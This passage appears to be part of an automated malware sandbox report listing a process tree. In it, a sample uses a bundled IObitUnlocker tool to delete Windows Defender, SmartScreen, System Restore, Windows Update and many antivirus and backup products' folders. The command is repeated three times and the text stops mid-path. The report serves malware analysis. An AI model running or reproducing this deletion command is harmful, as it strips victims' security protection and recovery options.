- - C:\Users\Admin\AppData\Local\Temp\Work\Unlocker.exe
    Unlocker /DelWD
    3⤵
    - Sets service image path in registry
    - Checks computer location settings
    - Executes dropped EXE
    - Suspicious use of AdjustPrivilegeToken
    PID:5852
  - - C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c sc query IObitUnlocker
      4⤵
      PID:5296
    - - C:\Windows\system32\sc.exe
        
        sc query IObitUnlocker
        5⤵
        Launches sc.exe
        
        PID:1624
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4128
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program Files\AVAST Software\Avast","C:\Program Files (x86)\AVAST Software\Avast","C:\Program Files\AVAST Software\SecureLine","C:\Program Files (x86)\AVAST Software\SecureLine","C:\Program Files\AVAST Software\Cleanup","C:\Program Files (x86)\AVAST Software\Cleanup","C:\Program Files\AVAST Software\Driver Updater","C:\Program Files (x86)\AVAST Software\Driver Updater","C:\ProgramData\AVAST Software","C:\ProgramData\Avast","C:\ProgramData\AVAST","C:\Program Files\Fortinet","C:\Program Files (x86)\Fortinet","C:\Program Files\Fortinet\FortiClient","C:\Program Files (x86)\Fortinet\FortiClient","C:\Program Files\Fortinet\FortiTray","C:\Program Files (x86)\Fortinet\FortiTray","C:\Program Files\Fortinet\FortiESNAC","C:\Program Files (x86)\Fortinet\FortiESNAC","C:\ProgramData\Fortinet","C:\ProgramData\FortiClient","C:\Program Files\DrWeb","C:\Program Files (x86)\DrWeb","C:\Program Files\Dr.Web","C:\Program Files (x86)\Dr.Web","C:\Program Files\Dr.Web AV-Desk","C:\Program Files (x86)\Dr.Web AV-Desk","C:\Program Files\Dr.Web Enterprise Suite","C:\Program Files (x86)\Dr.Web Enterprise Suite","C:\ProgramData\DrWeb","C:\ProgramData\Dr.Web","C:\Program Files\Malwarebytes","C:\Program Files (x86)\Malwarebytes","C:\Program Files\Malwarebytes\Anti-Malware","C:\Program Files (x86)\Malwarebytes\Anti-Malware","C:\Program Files\Malwarebytes\Endpoint Agent","C:\Program Files (x86)\Malwarebytes\Endpoint Agent","C:\Program Files\Malwarebytes\Browser Guard","C:\Program Files (x86)\Malwarebytes\Browser Guard","C:\ProgramData\Malwarebytes","C:\ProgramData\Malwarebytes\MBAMService","C:\ProgramData\Malwarebytes\MBAMService\ScanResults","C:\ProgramData\Malwarebytes\MBAMService\Quarantine","C:\Program Files\Bitdefender","C:\Program Files (x86)\Bitdefender","C:\Program Files\Bitdefender Agent","C:\Program Files (x86)\Bitdefender Agent","C:\Program Files\Common Files\Bitdefender","C:\Program Files (x86)\Common Files\Bitdefender","C:\ProgramData\Bitdefender","C:\ProgramData\Bitdefender Agent","C:\ProgramData\Bitdefender Security","C:\Program Files\Microsoft OneDrive","C:\Program Files (x86)\Microsoft OneDrive","C:\ProgramData\Microsoft OneDrive","C:\Windows\system32\wuauserv.dll","C:\Windows\system32\wuaueng.dll","C:\Windows\system32\UsoClient.exe","C:\Windows\system32\usocore.dll","C:\Windows\system32\MoUsoCoreWorker.exe","C:\Windows\system32\musnotification.exe","C:\Windows\system32\musnotificationux.exe","C:\Windows\system32\wuauclt.exe","C:\Windows\system32\wuapi.dll","C:\Windows\system32\wuwebv.dll","C:\Windows\system32\Tasks\Microsoft\Windows\WindowsUpdate","C:\Windows\system32\Tasks\Microsoft\Windows\UpdateOrchestrator","C:\Windows\winsxs\pending.xml","C:\Windows\winsxs\PendingUpdates","C:\Windows\winsxs\Temp\PendingDeletes","C:\Windows\winsxs\Temp\PendingRenames","C:\Windows\SoftwareDistribution","C:\Windows\$WINDOWS.~BT","C:\Windows\$WINDOWS.~WS","C:\Program Files\Microsoft Update Health Tools","C:\Program Files (x86)\Microsoft Update Health Tools","C:\Windows\system32\Tasks\Microsoft\Windows\Windows Defender"
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      System Location Discovery: System Language Discovery
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of SetWindowsHookEx
      PID:4788
  - - C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe
      C:\Users\Admin\AppData\Local\Temp\IObitUnlocker\IObitUnlocker.exe /Delete /Advanced "C:\ProgramData\Microsoft\Windows Defender","C:\ProgramData\Microsoft\Windows Defender Advanced Threat Protection","C:\ProgramData\Microsoft\Windows Security Health","C:\ProgramData\Microsoft\Storage Health","C:\Program Files\Windows Defender","C:\Program Files\Windows Defender Advanced Threat Protection","C:\Program Files\Windows Security","C:\Program Files\PCHealthCheck","C:\Program Files (x86)\Windows Defender","C:\Program Files (x86)\Windows Defender Advanced Threat Protection","C:\Windows\system32\security\database","C:\Windows\system32\HealthAttestationClient","C:\Windows\system32\SecurityHealth","C:\Windows\system32\WebThreatDefSvc","C:\Windows\system32\Sgrm","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\system32\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\system32\Tasks_Migrated\Microsoft\Windows\Windows Defender","C:\Windows\system32\drivers\wd","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\Defender","C:\Windows\SysWOW64\WindowsPowerShell\v1.0\Modules\DefenderPerformance","C:\Windows\Containers\WindowsDefenderApplicationGuard.wim","C:\Windows\Containers\serviced\WindowsDefenderApplicationGuard.wim","C:\Windows\system32\SecurityHealthService.exe","C:\Windows\system32\SecurityHealthService.exe_fuck","C:\Windows\system32\SecurityHealthSystray.exe","C:\Windows\system32\SecurityHealthHost.exe","C:\Windows\system32\SecurityHealthAgent.dll","C:\Windows\system32\SecurityHealthSSO.dll","C:\Windows\system32\SecurityHealthProxyStub.dll","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderApiLogger.etl","C:\Windows\system32\LogFiles\WMI\RtBackup\EtwRTDefenderAuditLogger.etl","C:\Windows\system32\smartscreen.dll","C:\Windows\system32\wscisvif.dll","C:\Windows\system32\wscproxystub.dll","C:\Windows\system32\wscapi.dll","C:\Windows\system32\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\wscsvc.dll","C:\Windows\system32\SecurityHealthCore.dll","C:\Windows\system32\SecurityHealthSsoUdk.dll","C:\Windows\system32\SecurityHealthUdk.dll","C:\Windows\system32\smartscreen.exe","C:\Windows\SysWOW64\smartscreen.dll","C:\Windows\SysWOW64\wscisvif.dll","C:\Windows\SysWOW64\wscproxystub.dll","C:\Windows\SysWOW64\wscapi.dll","C:\Windows\SysWOW64\windowsdefenderapplicationguardcsp.dll","C:\Windows\system32\restore","C:\Windows\system32\config\RegBack","C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\SystemRestore","C:\ProgramData\Microsoft\Windows\Restore","C:\ProgramData\Microsoft\Windows\Recovery","C:\ProgramData\Microsoft\Windows\Backup","C:\Windows\WinSxS\Backup","C:\Windows\System32\wbem\Repository","C:\Windows\System32\wbem\AutoRecover","C:\Windows\system32\wbem\Repository","C:\Windows\system32\wbem\AutoRecover","C:\Program Files\Acronis","C:\Program Files (x86)\Acronis","C:\ProgramData\Acronis","C:\ProgramData\Acronis\BackupAndRecovery","C:\ProgramData\Acronis\TrueImageHome","C:\ProgramData\Acronis\Schedule2","C:\ProgramData\Acronis\Agent","C:\Program Files\Comodo","C:\Program Files (x86)\Comodo","C:\Program Files\COMODO","C:\Program Files (x86)\COMODO","C:\ProgramData\Comodo","C:\ProgramData\COMODO","C:\Program Files\Paragon","C:\Program Files (x86)\Paragon","C:\Program Files\Paragon Software","C:\Program Files (x86)\Paragon Software","C:\ProgramData\Paragon","C:\ProgramData\Paragon Software","C:\Program Files\Macrium","C:\Program Files\EaseUS","C:\Program Files\AOMEI","C:\Program Files (x86)\Macrium","C:\Program Files (x86)\EaseUS","C:\Program Files (x86)\AOMEI","C:\ProgramData\Macrium","C:\ProgramData\EaseUS","C:\ProgramData\AOMEI","C:\Program Files\CloneApp","C:\Program Files (x86)\CloneApp","C:\ProgramData\CloneApp","C:\Program Files\CloneAppParameters","C:\Program Files (x86)\CloneAppParameters","C:\ProgramData\CloneAppParameters","C:\Program Files\Redo","C:\Program Files (x86)\Redo","C:\ProgramData\Redo","C:\Program Files\R-Drive","C:\Program Files (x86)\R-Drive","C:\ProgramData\R-Drive","C:\Program Files\Veeam","C:\Program Files (x86)\Veeam","C:\ProgramData\Veeam","C:\Program Files\ShieldApps","C:\Program Files (x86)\ShieldApps","C:\ProgramData\ShieldApps","C:\Program Files\Horizon DataSys","C:\Program Files (x86)\Horizon DataSys","C:\ProgramData\Horizon DataSys","C:\Program Files\Faronics","C:\Program Files (x86)\Faronics","C:\ProgramData\Faronics","C:\Program Files\Toolwiz Time Freeze","C:\Program Files (x86)\Toolwiz Time Freeze","C:\ProgramData\Toolwiz Time Freeze","C:\Program Files\Raxco","C:\Program Files (x86)\Raxco","C:\ProgramData\Raxco","C:\Program Files\Drive Snapshot","C:\Program Files (x86)\Drive Snapshot","C:\ProgramData\Drive Snapshot","C:\Program Files\Deep Freeze","C:\Program Files (x86)\Deep Freeze","C:\ProgramData\Deep Freeze","C:\Program Files\Reboot Restore Rx","C:\Program Files (x86)\Reboot Restore Rx","C:\ProgramData\Reboot Restore Rx","C:\Program Files\R-Tools Technology Inc","C:\Program Files (x86)\R-Tools Technology Inc","C:\ProgramData\R-Tools Technology Inc","C:\Program Files\R-Drive Image","C:\Program Files (x86)\R-Drive Image","C:\ProgramData\R-Drive Image","C:\Program Files\R-Studio","C:\Program Files (x86)\R-Studio","C:\ProgramData\R-Studio","C:\Program Files\Active@ Boot Disk","C:\Program Files (x86)\Active@ Boot Disk","C:\ProgramData\Active@ Boot Disk","C:\Program Files\Active@ Disk Image","C:\Program Files (x86)\Active@ Disk Image","C:\ProgramData\Active@ Disk Image","C:\Program Files\Active@ File Recovery","C:\Program Files (x86)\Active@ File Recovery","C:\ProgramData\Active@ File Recovery","C:\Program Files\ESET","C:\Program Files\NOD32","C:\Program Files\ESET\ESET NOD32 Antivirus","C:\Program Files\ESET\ESET Smart Security","C:\Program Files\ESET\ESET Internet Security","C:\Program Files (x86)\ESET","C:\Program Files (x86)\NOD32","C:\Program Files (x86)\ESET\ESET NOD32 Antivirus","C:\Program Files (x86)\ESET\ESET Smart Security","C:\Program Files (x86)\ESET\ESET Internet Security","C:\Program Files\ESET\Management Agent","C:\Program Files (x86)\ESET\Management Agent","C:\ProgramData\ESET","C:\ProgramData\NOD32","C:\Program Files\McAfee","C:\Program Files (x86)\McAfee","C:\Program Files\McAfee.com","C:\Program Files (x86)\McAfee.com","C:\Program Files\McAfeeAgent","C:\Program Files (x86)\McAfeeAgent","C:\Program Files\McAfee Security Scan","C:\Program Files (x86)\McAfee Security Scan","C:\Program Files\Common Files\McAfee","C:\Program Files (x86)\Common Files\McAfee","C:\ProgramData\McAfee","C:\ProgramData\McAfee.com","C:\ProgramData\McAfeeAgent","C:\ProgramData\McAfee Security Scan","C:\Program Files\AVG","C:\Program Files (x86)\AVG","C:\Program Files\AVG\Antivirus","C:\Program Files (x86)\AVG\Antivirus","C:\Program Files\AVG\TuneUp","C:\Program Files (x86)\AVG\TuneUp","C:\Program Files\AVG\Secure VPN","C:\Program Files (x86)\AVG\Secure VPN","C:\ProgramData\AVG","C:\Program Files\AVAST Software","C:\Program Files (x86)\AVAST Software","C:\Program Files\Avast","C:\Program Files (x86)\Avast","C:\Program Files\AVAST","C:\Program Files (x86)\AVAST","C:\Program 